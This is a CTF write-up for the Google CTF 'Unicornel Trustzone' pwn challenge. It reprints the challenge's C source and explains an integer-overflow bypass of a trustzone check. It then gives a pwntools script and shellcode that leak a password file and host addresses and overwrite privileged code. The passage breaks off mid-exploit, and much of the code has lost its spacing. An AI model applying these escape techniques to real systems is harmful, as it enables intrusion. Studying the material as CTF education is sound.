Hi everyone! Life has been quite hectic this year, and looking back, I noticed I’ve only published one blog post in 2025 so far. This realization made me a bit sad, as I really enjoy sharing my CTF experiences through writeups. The fact is, I can probably count the number of CTFs I’ve participated in this year on just one hand, which means I don’t even really play CTFs anymore (which is why I rarely write in this blog). I’m hoping to get back to writing more regularly when time permits.
During Google CTF this year, my schedule was pretty tight, so I couldn’t contribute much to my team Blue Water. I only managed to look at two challenges, which are unicornel trustzone and webz. While I solved unicornel trustzone, I unfortunately didn’t have enough time to tackle webz properly. That said, webz was a fascinating challenge that I’d love to revisit and solve when I get some free time.
So, this time, I will share my writeup for the unicornel trustzone challenge.
Pwn
Unicornel Trustzone
Description
Unicornel was broken, on that we will concur
But I’ve removed all of the bugs now, I am quite sure
Author: roguebantha
Initial Analysis
In this challenge, we were given a zip file containing two main files: chal.c and syscalls.c. Let’s first take a look at chal.c to understand what the application is trying to do.
#define _GNU_SOURCE
#include<stdlib.h>#include<stdio.h>#include<unistd.h>#include<poll.h>#include<pthread.h>#include<fcntl.h>#include<sys/ioctl.h>#include<string.h>#include"unicorn/unicorn.h"#include"unicornel.h"pthread_mutex_ttask_lock=PTHREAD_MUTEX_INITIALIZER;structpollfdpfds[MAX_PROCESSES+1];structprocess*processes[MAX_PROCESSES];unsignednext_pid=1;unsignedlongARG_REGR(structprocess*current,unsignedreg){unsignedlong_=0;uc_reg_read(current->uc,call_regs[current->arch][reg],&_);return_;}voidARG_REGW(structprocess*current,unsignedreg,unsignedlongvalue){uc_reg_write(current->uc,call_regs[current->arch][reg],&value);}voidhook_call(uc_engine*uc,unsignedintno,void*user_data){structprocess*current=user_data;unsignedlongsyscall_no=ARG_REGR(current,0);fprintf(stderr,"pid %d: syscall with value %lu\n",(int)current->pid,syscall_no);fflush(stderr);if(syscall_no==0xff){//Loop detected - let me save us all some blushes and just stop
uc_emu_stop(current->uc);return;}//Check for OOB syscall number?
if(syscall_no>12){ARG_REGW(current,0,0xff);return;}unsignedlongret=syscalls[syscall_no](current);ARG_REGW(current,0,ret);}//Must be holding task lock
intdestroy_process(structprocess*current){//If this happens something has gone terribly wrong in our bookkeeping. Panic.
if(processes[current->pid]!=current)abort();processes[current->pid]=NULL;if(current->trusted_zone_hook)uc_hook_del(current->uc,current->trusted_zone_hook);uc_close(current->uc);close(current->outfd);free(current);return0;}void*process_thread(void*param){structprocess*current=param;uc_erre=uc_emu_start(current->uc,current->entrypoint,current->entrypoint+current->code_length,0,0);unsignedlongip=0;uc_reg_read(current->uc,ip_reg[current->arch],&ip);printf("Process %u finished with status %s at address %lu\n",(unsigned)current->pid,uc_strerror(e),ip);fflush(stdout);pthread_mutex_lock(&task_lock);destroy_process(current);pthread_mutex_unlock(&task_lock);pthread_exit(NULL);}//Must be holding task lock
intfind_free_process(){for(unsignedinti=0;i<MAX_PROCESSES;i++){/* We check pfds here to avoid a race between destroy_process ending a task and the
main poll thread reaping the read end of the pipe
*/if(processes[i]==NULL&&pfds[i].fd==-1)returni;}return-1;}intstart_process(){pthread_mutex_lock(&task_lock);intpid=find_free_process();if(pid<0){printf("At max processes already\n");pthread_mutex_unlock(&task_lock);return-1;}structunicornelfprocess_data;//Signal to client that we're ready to receive process_data
printf("DATA_START\n");intret=read(0,&process_data,sizeof(process_data));if(ret!=sizeof(process_data)){printf("Unexpected read size\n");pthread_mutex_unlock(&task_lock);return-1;}if(!process_data.code_length||!process_data.num_maps||process_data.num_maps>4||process_data.code_length>process_data.maps[0].length){printf("Malformed process data\n");pthread_mutex_unlock(&task_lock);return-1;}//Only allow one process per architecture
if(process_data.arch>=UC_ARCH_MAX||process_data.arch<1){printf("Invalid arch specified\n");pthread_mutex_unlock(&task_lock);return-1;}char*code_recv=calloc(1,process_data.code_length);//Signal to client that we're ready to receive process code
printf("CODE_START\n");fflush(stdout);read(0,code_recv,process_data.code_length);uc_engine*uc;uc_errerr;err=uc_open(process_data.arch,process_data.mode,&uc);if(err!=UC_ERR_OK){printf("Failed on uc_open() %u %u with error %u\n",process_data.arch,process_data.mode,err);pthread_mutex_unlock(&task_lock);free(code_recv);return-1;}for(unsignedi=0;i<process_data.num_maps;i++){err=uc_mem_map(uc,process_data.maps[i].va,process_data.maps[i].length,UC_PROT_ALL);if(err!=UC_ERR_OK){printf("Failed on uc_mem_map() with error %u\n",err);free(code_recv);uc_close(uc);pthread_mutex_unlock(&task_lock);return-1;}}err=uc_mem_write(uc,process_data.maps[0].va,code_recv,process_data.code_length);free(code_recv);if(err!=UC_ERR_OK){printf("failed on uc_mem_write() with error %u\n",err);uc_close(uc);pthread_mutex_unlock(&task_lock);return-1;}uc_hooktrace;intpipefds[2];pipe(pipefds);pfds[pid].fd=pipefds[0];pfds[pid].events=POLLIN;pfds[pid].revents=0;structprocess*new_process=calloc(1,sizeof(structprocess));new_process->pid=pid;new_process->outfd=pipefds[1];new_process->uc=uc;new_process->trusted_zone_hook=0;new_process->trustzone_mode=false;new_process->arch=process_data.arch;new_process->entrypoint=process_data.maps[0].va;new_process->code_length=process_data.code_length;memcpy(new_process->maps,process_data.maps,sizeof(process_data.maps));new_process->num_maps=process_data.num_maps;processes[pid]=new_process;err=uc_hook_add(uc,&trace,UC_HOOK_INTR,hook_call,new_process,1,0);if(err!=UC_ERR_OK){printf("failed on uc_hook_add() with error %u\n",err);destroy_process(new_process);pthread_mutex_unlock(&task_lock);return-1;}pthread_attr_tattr;pthread_attr_init(&attr);pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);intpthread_err=pthread_create(&new_process->thread,&attr,process_thread,new_process);if(pthread_err!=0){printf("failed to create pthread\n");destroy_process(new_process);}else{printf("new process created with pid %d\n",pid);}pthread_mutex_unlock(&task_lock);returnpthread_err;}intmain(intargc,char*argv[]){pfds[MAX_PROCESSES].fd=0/* stdin */;pfds[MAX_PROCESSES].events=POLLIN;pfds[MAX_PROCESSES].revents=0;for(unsignedinti=0;i<MAX_PROCESSES;i++){pfds[i].fd=-1;pfds[i].events=POLLIN;pfds[i].revents=0;}printf("Welcome to the unicornel!\n");fflush(stdout);pthread_mutex_init(&task_lock,NULL);while(1){poll(pfds,MAX_PROCESSES+1,-1);for(unsignedi=0;i<MAX_PROCESSES;i++){//Data available from emulated process
if(pfds[i].revents&POLLIN){intnbytes;ioctl(pfds[i].fd,FIONREAD,&nbytes);splice(pfds[i].fd,0,1/* stdout */,0,nbytes,0);}//Process ended, and the write end of the pipe was closed in destroy_process. Finish cleanup
if(pfds[i].revents&POLLHUP){close(pfds[i].fd);pfds[i].fd=-1;}}if(pfds[MAX_PROCESSES].revents&POLLIN){//Received new process data
start_process();fflush(stdout);}}return0;}
The code above is quite long with a lot of implementation details, but let me summarize what it does at a high level. Basically, this program implements a custom process emulation system using the Unicorn emulation engine. When we interact with the program, we can spawn new processes that will be emulated in their own threads. Each emulated process can perform syscalls through a custom syscall interface (defined in syscalls.c) to interact with the host system. The program handles I/O between the emulated processes and the host system.
Now, let’s take a look at the syscalls.c file and analyze it:
#include<stdlib.h>#include<stdio.h>#include<unistd.h>#include<poll.h>#include<pthread.h>#include<fcntl.h>#include<errno.h>#include<string.h>#include"unicorn/unicorn.h"#include"unicornel.h"#define PAGE_SHIFT 12
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#define PAGE_MASK (~(PAGE_SIZE-1))
#define PAGE_ALIGN(addr) (((addr)+PAGE_SIZE-1)&PAGE_MASK)
#define TRUSTED_SYSCALL if(!current->trustzone_mode) return -0xff
charpassword[16]={0};/* I'm reusing MAX_PROCESSES here, but there's not a 1:1 mapping of shared buffers to processes.
* a process can create multiple shared mappings */structshared_buffershared_buffers[MAX_PROCESSES]={0};longcreate_shared(structprocess*current){// TRUSTED_SYSCALL;
pthread_mutex_lock(&task_lock);unsignedlonglength=ARG_REGR(current,1);if(length>0x10000||!length||length&0xFFF){pthread_mutex_unlock(&task_lock);return-1;}//Find an empty shared buffer handle
unsignedlonghandle;for(handle=0;handle<MAX_PROCESSES;handle++){if(!shared_buffers[handle].refs)break;}if(handle==MAX_PROCESSES){pthread_mutex_unlock(&task_lock);return-2;}void*buffer=calloc(1,length);if(!buffer){pthread_mutex_unlock(&task_lock);return-3;}shared_buffers[handle].refs=1;shared_buffers[handle].buffer=buffer;shared_buffers[handle].length=length;pthread_mutex_unlock(&task_lock);returnhandle;}longvalidate_handle(structprocess*current){TRUSTED_SYSCALL;pthread_mutex_lock(&task_lock);unsignedlonghandle=ARG_REGR(current,1);unsignedlonglength=ARG_REGR(current,2);if(handle>=MAX_PROCESSES||!shared_buffers[handle].refs||shared_buffers[handle].length<length){pthread_mutex_unlock(&task_lock);return0;}pthread_mutex_unlock(&task_lock);return(long)shared_buffers[handle].buffer;}longmap_address(structprocess*current){TRUSTED_SYSCALL;unsignedlongaddr=ARG_REGR(current,1);unsignedlonglength=ARG_REGR(current,2);void*buffer=(void*)ARG_REGR(current,3);fprintf(stderr,"Mapping %p @ %p length %lu\n",buffer,addr,length);uc_erre=uc_mem_map_ptr(current->uc,addr,length,UC_PROT_ALL,buffer);returne;}booloverlaps_tz(structprocess*current,longsrc,unsignedn){returncurrent->trusted_zone_hook&&!(src+n<=current->trustzone||current->trustzone+PAGE_ALIGN(current->tz_size)<=src);}uc_errsafe_read(structprocess*current,char*dst,longsrc,size_tn){if(overlaps_tz(current,src,n))TRUSTED_SYSCALL;returnuc_mem_read(current->uc,src,dst,n);}uc_errstrncpy_user(structprocess*current,char*dst,longsrc,size_tn){uc_erre;if(overlaps_tz(current,src,n))TRUSTED_SYSCALL;for(unsignedi=0;i<n;i++){e=uc_mem_read(current->uc,src+i,dst+i,1);if(e!=UC_ERR_OK)returne;if(!dst[i])returnUC_ERR_OK;}dst[n-1]=0;returnUC_ERR_OK;}longunicornel_write(structprocess*current){unsignedlongpointer=ARG_REGR(current,1);unsignedlonglength=ARG_REGR(current,2);char*buffer=malloc(length);if(!buffer)return-1;uc_errerr=safe_read(current,buffer,pointer,length);if(err!=UC_ERR_OK){free(buffer);return-1;}longret=write(current->outfd,buffer,length);free(buffer);returnret;}//You're welcome
longprint_integer(structprocess*current){dprintf(current->outfd,"%ld\n",ARG_REGR(current,1));return0;}//Also called when the trustzone returns
longunicornel_exit(structprocess*current){uc_emu_stop(current->uc);return0;}longunicornel_pause(structprocess*current){current->paused=true;while(current->paused);return0;}longunicornel_resume(structprocess*current){unsignedlongpid=ARG_REGR(current,1);pthread_mutex_lock(&task_lock);if(pid>MAX_PROCESSES||!processes[pid]||!processes[pid]->paused){pthread_mutex_unlock(&task_lock);return-1;}processes[pid]->paused=false;pthread_mutex_unlock(&task_lock);return0;}//The trustzone is allowed to access trusted memory, no one else is.
voidtrusted_read(uc_engine*uc,uc_mem_typetype,uint64_taddress,intsize,int64_tvalue,void*user_data){structprocess*current=user_data;fprintf(stderr,"TRUSTED READ: %p %p\n",address,current->trustzone);if(!current->trustzone_mode){//Untrusted code tried to access trusted memory, abort the malicious process
printf("Unprivileged access to trustzone attempted! Killing process\n");uc_emu_stop(uc);}}longmemprot(structprocess*current){TRUSTED_SYSCALL;unsignedlongaddr=ARG_REGR(current,1);unsignedlonglength=ARG_REGR(current,2);unsignedlongprot=ARG_REGR(current,3);returnuc_mem_protect(current->uc,addr,length,prot);}longcreate_trustzone(structprocess*current){if(current->trusted_zone_hook)return-1;uc_engine*uc=current->uc;unsignedlongaddr=ARG_REGR(current,1);unsignedlongfilename_user=ARG_REGR(current,2);charfilename[128]={0};uc_errerr=strncpy_user(current,filename,filename_user,sizeof(filename));if(err!=UC_ERR_OK){printf("Failed to copy string from address %p\n",filename_user);return-1;}for(unsignedi=0;i<sizeof(filename);i++){if(filename[i]=='.'||filename[i]=='/'){filename[i]='_';}}intfd=open(filename,O_RDONLY);if(fd==-1){printf("Failed to open trustzone %s %m\n",filename);returnerrno;}off_tsize=lseek(fd,0,SEEK_END);err=uc_mem_map(uc,addr,PAGE_ALIGN(size),UC_PROT_READ|UC_PROT_EXEC);if(err!=UC_ERR_OK){printf("Failed on uc_mem_map() with error %u\n",err);close(fd);return-1;}err=uc_hook_add(uc,¤t->trusted_zone_hook,UC_HOOK_MEM_READ,trusted_read,current,addr,addr+PAGE_ALIGN(size));if(err!=UC_ERR_OK){printf("Failed on uc_hook_add() with error %u\n",err);close(fd);uc_mem_unmap(uc,addr,PAGE_ALIGN(size));return-1;}char*file=calloc(size,1);lseek(fd,0,SEEK_SET);read(fd,file,size);uc_mem_write(uc,addr,file,size);current->trustzone=addr;current->tz_size=size;close(fd);fprintf(stderr,"Trustzone allocated at %p %lu\n",addr,PAGE_ALIGN(size));return0;}longdestroy_trustzone(structprocess*current){if(!current->trusted_zone_hook)return-1;uc_mem_unmap(current->uc,current->trustzone,PAGE_ALIGN(current->tz_size));uc_hook_del(current->uc,current->trusted_zone_hook);current->trusted_zone_hook=false;current->trustzone=0;current->tz_size=0;return0;}longconfirm_password(structprocess*current){TRUSTED_SYSCALL;if(!password[0]){intpassword_fd=open("password",O_RDONLY);if(password_fd==-1){printf("open password failed: %m\n");abort();}read(password_fd,password,16);close(password_fd);}charuser_password[sizeof(password)];uc_erre=strncpy_user(current,user_password,ARG_REGR(current,1),sizeof(user_password));if(e!=UC_ERR_OK){return1;}return!!strncmp(user_password,password,sizeof(user_password));}longtrustzone_invoke(structprocess*current){if(!current->trusted_zone_hook)return-1;current->trustzone_mode=true;unsignedlongip=0;uc_reg_read(current->uc,ip_reg[current->arch],&ip);uc_errerr=uc_emu_start(current->uc,current->trustzone,current->trustzone+current->tz_size,0,0);current->trustzone_mode=false;fprintf(stderr,"trustzone over %s\n",uc_strerror(err));uc_reg_write(current->uc,ip_reg[current->arch],&ip);returnerr;}long(*syscalls[])(structprocess*current)={unicornel_exit,//0
unicornel_write,//1
print_integer,//2
create_shared,//3
validate_handle,//4
map_address,//5
unicornel_pause,//6
unicornel_resume,//7
create_trustzone,//8
destroy_trustzone,//9
trustzone_invoke,//10
confirm_password,//11
memprot,//12
};
To recap, basically it implements 13 syscalls that can be called in our emulated program. We won’t deep dive into all syscalls, but let’s examine some important ones after this.
First, we need to understand that the code implements a trustzone mechanism. The trustzone is a secure execution environment where certain privileged syscalls can only be executed. This is enforced by the TRUSTED_SYSCALL macro which checks if trustzone_mode is enabled before allowing the syscall to proceed.
The trustzone mechanism works by having a special execution mode controlled by the trustzone_mode flag. Programs can create a trustzone using the create_trustzone syscall which sets up a region of code that can be executed via trustzone_invoke. When trustzone_invoke is called, it temporarily sets trustzone_mode to true, executes the trustzone code, and then sets it back to false. While in trustzone mode, the program can execute privileged syscalls like validate_handle, map_address, memprot, etc, that are protected by the TRUSTED_SYSCALL macro. This provides a way to isolate sensitive operations and only allow them to be performed from within the trustzone context.
The trustzone code itself is protected from the normal emulated program in two ways. First, when the trustzone region is created, it is mapped with r-x (read-execute) permissions, preventing the normal program from writing to that memory area. Second, a hook is added to prevent the normal program from executing any instructions that could read the contents of the trustzone memory addresses directly. These two protections are intended to ensure that sensitive trustzone code cannot be tampered with or leaked by the unprivileged emulated program.
Now that we understand how the trustzone mechanism works at a high level, let’s take a closer look at some of the key syscalls that implement this functionality. The syscalls array defines 13 different syscalls (numbered 0-12) that can be called from the emulated program. We’ll focus on the ones most relevant to the trustzone implementation and memory management:
longcreate_shared(structprocess*current){// TRUSTED_SYSCALL;
pthread_mutex_lock(&task_lock);unsignedlonglength=ARG_REGR(current,1);if(length>0x10000||!length||length&0xFFF){pthread_mutex_unlock(&task_lock);return-1;}//Find an empty shared buffer handle
unsignedlonghandle;for(handle=0;handle<MAX_PROCESSES;handle++){if(!shared_buffers[handle].refs)break;}if(handle==MAX_PROCESSES){pthread_mutex_unlock(&task_lock);return-2;}void*buffer=calloc(1,length);if(!buffer){pthread_mutex_unlock(&task_lock);return-3;}shared_buffers[handle].refs=1;shared_buffers[handle].buffer=buffer;shared_buffers[handle].length=length;pthread_mutex_unlock(&task_lock);returnhandle;}
This syscall allocates a new buffer and stores it in the shared_buffers array so it can be accessed by multiple processes. It returns a handle that other processes can use to reference this shared buffer.
This syscall is used to validate a shared buffer handle and get its address. This syscall is protected by TRUSTED_SYSCALL to prevent unprivileged code from getting shared buffer addresses directly.
This syscall maps a shared buffer into the process’s address space at a specified address. It uses uc_mem_map_ptr() to create a mapping with full permissions (UC_PROT_ALL) between the specified address in the emulated process’s address space and the provided host buffer. This syscall is protected by TRUSTED_SYSCALL since it allows arbitrary memory mapping between the emulated process’s address space and any location in the host’s address space, which could be dangerous if misused. The mapping allows the emulated process to read/write/execute the mapped memory region.
//The trustzone is allowed to access trusted memory, no one else is.
voidtrusted_read(uc_engine*uc,uc_mem_typetype,uint64_taddress,intsize,int64_tvalue,void*user_data){structprocess*current=user_data;fprintf(stderr,"TRUSTED READ: %p %p\n",address,current->trustzone);if(!current->trustzone_mode){//Untrusted code tried to access trusted memory, abort the malicious process
printf("Unprivileged access to trustzone attempted! Killing process\n");uc_emu_stop(uc);}}longcreate_trustzone(structprocess*current){if(current->trusted_zone_hook)return-1;uc_engine*uc=current->uc;unsignedlongaddr=ARG_REGR(current,1);unsignedlongfilename_user=ARG_REGR(current,2);charfilename[128]={0};uc_errerr=strncpy_user(current,filename,filename_user,sizeof(filename));if(err!=UC_ERR_OK){printf("Failed to copy string from address %p\n",filename_user);return-1;}for(unsignedi=0;i<sizeof(filename);i++){if(filename[i]=='.'||filename[i]=='/'){filename[i]='_';}}intfd=open(filename,O_RDONLY);if(fd==-1){printf("Failed to open trustzone %s %m\n",filename);returnerrno;}off_tsize=lseek(fd,0,SEEK_END);err=uc_mem_map(uc,addr,PAGE_ALIGN(size),UC_PROT_READ|UC_PROT_EXEC);if(err!=UC_ERR_OK){printf("Failed on uc_mem_map() with error %u\n",err);close(fd);return-1;}err=uc_hook_add(uc,¤t->trusted_zone_hook,UC_HOOK_MEM_READ,trusted_read,current,addr,addr+PAGE_ALIGN(size));if(err!=UC_ERR_OK){printf("Failed on uc_hook_add() with error %u\n",err);close(fd);uc_mem_unmap(uc,addr,PAGE_ALIGN(size));return-1;}char*file=calloc(size,1);lseek(fd,0,SEEK_SET);read(fd,file,size);uc_mem_write(uc,addr,file,size);current->trustzone=addr;current->tz_size=size;close(fd);fprintf(stderr,"Trustzone allocated at %p %lu\n",addr,PAGE_ALIGN(size));return0;}
This syscall sets up a new trustzone region by loading code from an existing file in the system. It takes a file path and loads the code from that file into a new memory region that is mapped as r-x only, preventing any writes to the trustzone code. The syscall adds a UC_HOOK_MEM_READ hook that triggers the trusted_read callback function whenever there is any attempt to read from the trustzone memory region. This hook ensures that if code tries to read trustzone memory while not in trustzone mode (trustzone_mode = false), the emulation will be stopped immediately.
Another important observation is that there isn’t any HOOK set for memory writes. This means the emulated program is actually ALLOWED to overwrite the trustzone. However, by default, the mapping address is r-x, so we can’t write to the created trustzone. We will keep this in mind for now.
This syscall handles the cleanup of a trustzone region. When called, it removes all the memory protections and hooks that were previously set up to protect the trustzone. It then frees any resources that were allocated for the trustzone and resets all the associated trustzone state back to its initial values.
trustzone_invoke
1
2
3
4
5
6
7
8
9
10
11
12
13
longtrustzone_invoke(structprocess*current){if(!current->trusted_zone_hook)return-1;current->trustzone_mode=true;unsignedlongip=0;uc_reg_read(current->uc,ip_reg[current->arch],&ip);uc_errerr=uc_emu_start(current->uc,current->trustzone,current->trustzone+current->tz_size,0,0);current->trustzone_mode=false;fprintf(stderr,"trustzone over %s\n",uc_strerror(err));uc_reg_write(current->uc,ip_reg[current->arch],&ip);returnerr;}
This syscall handles the execution of code within the trustzone’s secure context. When invoked, it first enables trustzone mode by setting the trustzone_mode flag to true. This allows the trustzone code to execute with elevated privileges and access protected syscalls. Once the trustzone code finishes executing, the syscall resets the trustzone_mode flag back to false, returning execution to the normal unprivileged context. This mechanism ensures that privileged operations can only be performed within the controlled trustzone environment.
This syscall is used to change the permission of the memory. When called, it takes a memory address and length to specify the region to modify, along with protection flags indicating the desired access rights. The syscall then updates the permissions on that memory region accordingly, allowing the system to enforce restrictions on whether the memory can be read from, written to, or executed as code. Like other sensitive operations, this syscall is protected by the TRUSTED_SYSCALL macro to ensure it can only be called from within the trustzone context.
Now, if we read through the Documentation that was given in the chal, we can see that there are three available trustzones that we can load and use in our emulated program:
create_map_shared_x86_64: This trustzone creates and maps a shared memory buffer.
map_shared_x86_64: This trustzone maps an existing shared memory buffer to the process’s address space.
memprot_x86_64: This trustzone changes memory protection flags for the process’s address space, but requires password authentication.
So basically, we already have some context on how the app works. At first, the program looked quite safe to me, but after digging more through the code, I made some observations that revealed the app has bugs.
First, observed that in the confirm_password method below
The password was actually stored in a file named password. If we take a look back at the create_trustzone function, there isn’t any validation actually whether the loaded file contains valid instructions or not. So, we can actually load password file and mapped the content to our process address space.
So basically, if we do this, we can make the password contents exist in the process memory, but we need to find a way to somehow leak the content, because remember that the intention of the challenge is that the unprivileged program shouldn’t be able to access the trustzone area, and the content of password is in that area.
However, I noticed something when I checked how the unicornel_write syscall was implemented.
This syscall is responsible for writing data from the emulated process’s memory to the output file descriptor. I observed that:
Before reading memory, it calls overlaps_tz() to check if the requested memory region overlaps with the trustzone
The check uses the formula: !(src + n <= trustzone || trustzone + PAGE_ALIGN(tz_size) <= src)
This means that it will require trustzone privileges if the memory region intersects with trustzone memory
Next, if the area is safe from any overlap, it will read the area with uc_mem_read and then print its contents
However, there are two bugs in how unicornel_write checks for trustzone access.
First, the calculation src + n can overflow, allowing us to bypass the trustzone check through integer overflow. For example, if src is set to 0xFFFFFFFFFFFFF000 and n is 0x1000, then src + n will wrap around to zero (0). This makes the check think the region is before the trustzone and allows reading trustzone memory without proper privileges.
Second, unicornel_write uses safe_read which calls uc_mem_read to fetch the data to be printed. Using uc_mem_read to read data from the trustzone area will never trigger the set hook, because hooks are only triggered by read operations from emulated environment instructions, not from host uc_mem_read calls.
With this bug, we can see that if we map any trustzone at the address 0xFFFFFFFFFFFFF000, we can basically print its content through the unicornel_write syscall, because overlaps_tz is bypassed, and the hook is not triggered because it reads the data with uc_mem_read.
With these bugs are being discovered, we can now start thinking about how to exploit the app.
Solution
To recap, the bug allows us to use unicornel_write to leak trustzone contents by mapping the trustzone at address 0xFFFFFFFFFFFFF000. Let’s start by creating a wrapper script that we can use to interact with and send our program to the application. This will help us leak some useful values.
#!/usr/bin/env python3frompwnimport*importunicornimportoscontext.arch='amd64'exe='./chal'HOST,PORT='unicornel-tz.2025.ctfcompetition.com',1337defstart():ifargs.LOCAL:returnprocess(exe,stderr=open(os.devnull,'w'))returnremote(HOST,PORT)shellcode=asm(r'''
''')assertlen(shellcode)<0x1000io=start()ifnotargs.LOCAL:io.recvuntil(b'run the solver with:\n')io.recvuntil(b' solve ')pow_chall=io.recvline().strip().decode()print(f'{pow_chall= }')pow_sol=os.popen(f'python3 kctf-pow.py solve {pow_chall} 2>/dev/null').read()print(f'{pow_sol= }')io.sendlineafter(b'Solution? ',pow_sol.encode())io.recvuntil(b'Welcome')CODE=shellcodeVA,SIZE=0x1000,0x1000hdr=flat(p32(unicorn.UC_ARCH_X86),p32(unicorn.UC_MODE_64),p64(VA),p64(SIZE),# one RX page for code+datab'\0'*3*16,# unused mapsp16(len(CODE)),# code_lengthp8(1)# num_maps).ljust(80,b'\0')io.sendline(b'')io.recvuntil(b'DATA_START')io.send(hdr)io.recvuntil(b'CODE_START')io.send(CODE)io.interactive()
With the above script, we can easily fill in the shellcode of our emulated program that will be sent by the script to the app.
Leak Password and Trustzones
Remember that we can actually load password into the trustzone area. This means, combined with the unicornel_write bug, we can leak the password value! This will allow us to enable usage of the trustzone named memprot_x86_64 provided by the app later on. Furthermore, we can actually leak the 3 available trustzones provided by the app, so that we can start debugging the app locally (remember that the challenge files didn’t provide us the trustzone code, so we couldn’t really debug it locally before this). Here’s what we need to write in our emulated program:
Call the create_trustzone syscall by providing the filename we want to leak and setting 0xFFFFFFFFFFFFF000 as the mapped address
Call the unicornel_write syscall to leak it
Call the destroy_trustzone syscall if we want to leak another file (since the app only allows one trustzone per process)
So, let’s update our shellcode to leak the password and all the available trustzones. Below is the full script that I used to leak the values.
As you can see, if we run the above script, we will be able to get the password and all of the trustzones. For local debugging purposes, I also stored them in files, just like how the app stores them on the server.
Leak Shared Buffers
Now that we can leak the password and all of the trustzones, we can debug the application locally. For the next step of exploitation, we need to consider that with the password in our hand, we can utilize the memprot_x86_64 trustzone provided by the app to change the memory permissions of any address in our emulated process space.
Remember that the trustzone area is writeable! This means if we call memprot_x86_64 to modify the permissions of the mapped trustzone from r-x to rwx, we can overwrite it with our own shellcode. Later on, when we call trustzone_invoke, our shellcode will execute with elevated privileges since it runs in trustzone_mode, giving us the ability to perform privileged operations.
Now, we want to leak something useful. I observed that in validate_handle, it actually returns the raw pointer of shared_buffer, which is an address in the host process. This means if we overwrite the trustzone to execute validate_handle, we can make the emulated program hold the address of shared_buffer in any register. This will be useful in the future, but for now, let’s try to leak the shared_buffer pointer and store it in register r12. Here’s what we want to do:
Call create_shared syscall to insert a shared_buffer with handle 0 into the shared_buffers array.
Call create_trustzone syscall to load the available memprot_x86_64 trustzone.
Call trustzone_invoke syscall to memprot our trustzone from r-x to rwx.
Now, because the trustzone area is writeable, overwrite it with our own shellcode that will:
Call validate_handle to fetch the shared_buffer address.
Store it in r12 (so that we can use it later in our shellcode).
Print it as well with the print_integer syscall for debugging purposes.
It’s time for us to modify our previous script. Below is my shellcode to do it:
shellcode=asm(r'''
.intel_syntax noprefix
/* Call create_shared */
mov rbx, 0x1000
mov rax, 3
int 0x80 # Handle 0 will be created
/* Call create_trustzone 'memprot_x86_64' */
mov rbx, 0x4000
lea rcx, [rip + memprot_x86_64]
mov rax, 8
int 0x80
/* Invoke memprot to map trustzone with RWX permissions */
mov rbx, 0x4000
mov rcx, 0x1000
mov rdx, 0x7
lea rdi, [rip + password_str]
mov rax, 10
int 0x80
/* Overwrite trustzone to leak shared_buffers[0].buffer address */
mov rdi, 0x4000
lea rsi, [rip+leak_shared_buffers_0]
lea rcx, [rip+leak_shared_buffers_0_end]
sub rcx, rsi
rep movsb
/* invoke modified trustzone (which will print ptr) */
mov rax, 10
int 0x80
/* Pause so that we can debug */
mov rax, 0x6
int 0x80
leak_shared_buffers_0:
/* Call validate_handle 0 */
xor rbx, rbx
xor rcx, rcx
mov rax, 4
int 0x80
mov r12, rax # store leaked value at r12
/* Print leak for debugging purposes */
mov rbx, rax
mov rax, 0x2
int 0x80
leak_shared_buffers_0_end:
password_str:
.ascii "sup3r_s3cure_sj\0"
memprot_x86_64:
.ascii "memprot_x86_64\0"
''')...io.recvuntil(b'pid 0\n')leaked_addr=int(io.recvline().strip().decode())print(f'{hex(leaked_addr)= }')
This time, we will run it locally first because we want to debug it further in our local. As you can see in the image below, we have successfully leaked the pointer of the allocated shared_buffer.
Now, we can move to the next step of the exploitation.
Leak PIE and RWX
Now, let’s fire up our GDB and start on checking what can we do with that leaked address. Before that, let’s check the process memory mapping first to get undertanding on the host process memory layout.
As we can see, there is an rwx area in memory. If we could leak this rwx address, it would be very useful for our exploit.
I observed that the custom map_address syscall allows us to map host process addresses into our emulated program space. This means our emulated program can write to any area of the host process, as long as it executes in trustzone_mode (which we’ve already achieved).
So if we leak the rwx address and use the map_address syscall to map it, we can write our own shellcode into the host process memory, with the hope that we can later jump to and execute it.
Now, we can simply scan through the leaked address that we got before, whether we can leak any rwx area or not.
As you can see, from the base address of our leaked address (which is located at leaked_address-0x12bf0), if we map it to our emulated process space with size 0x2000, we can actually get the rwx pointer.
Not only the rwx pointer, we can also leak the PIE address as well (see below image).
Now we need to craft shellcode to put in the trustzone area. Since the trustzone area is still writeable from our last step, we can overwrite it with shellcode that will:
Call map_address to map from the base address of our leaked address up to base_address+0x2000
Store the base RWX address in r10 and base PIE address in r11 for later use
Print the addresses using the print_integer syscall for debugging
Here is the extended script building on our previous code:
shellcode=asm(r'''
.intel_syntax noprefix
/* Call create_shared */
mov rbx, 0x1000
mov rax, 3
int 0x80 # Handle 0 will be created
/* Call create_trustzone 'memprot_x86_64' */
mov rbx, 0x4000
lea rcx, [rip + memprot_x86_64]
mov rax, 8
int 0x80
/* Invoke memprot to map trustzone with RWX permissions */
mov rbx, 0x4000
mov rcx, 0x1000
mov rdx, 0x7
lea rdi, [rip + password_str]
mov rax, 10
int 0x80
/* Overwrite trustzone to leak shared_buffers[0].buffer address */
mov rdi, 0x4000
lea rsi, [rip+leak_shared_buffers_0]
lea rcx, [rip+leak_shared_buffers_0_end]
sub rcx, rsi
rep movsb
/* invoke modified trustzone (which will print ptr) */
mov rax, 10
int 0x80
/* Overwrite trustzone to leak PIE and RWX address */
mov rdi, 0x4000
lea rsi, [rip+leak_pie_and_rwx]
lea rcx, [rip+leak_pie_and_rwx_end]
sub rcx, rsi
rep movsb
/* invoke modified trustzone (which will assign PIE to r11 and RWX to r10) */
mov rax, 10
int 0x80
/* Pause so that we can debug */
mov rax, 0x6
int 0x80
leak_shared_buffers_0:
/* Call validate_handle 0 */
xor rbx, rbx
xor rcx, rcx
mov rax, 4
int 0x80
mov r12, rax # store leaked value at r12
/* Print leak for debugging purposes */
mov rbx, rax
mov rax, 0x2
int 0x80
leak_shared_buffers_0_end:
leak_pie_and_rwx:
/* Call map_address */
mov rbx, 0x5000
mov rcx, 0x2000
mov rdx, r12 # r12 is shared_buffers[0]
sub rdx, 0x12bf0 # map to the base of area instead of to the shared_buffers[0]
mov rax, 5
int 0x80
/* Store leaked pie at r11 and leaked rwx at r10 */
mov rbx, 0x5000
add rbx, 0x1100
mov r11, qword ptr [rbx]
sub r11, 0x785b20 # r11 = PIE BASE
mov rbx, 0x5000
add rbx, 0x0b88
mov r10, qword ptr [rbx]
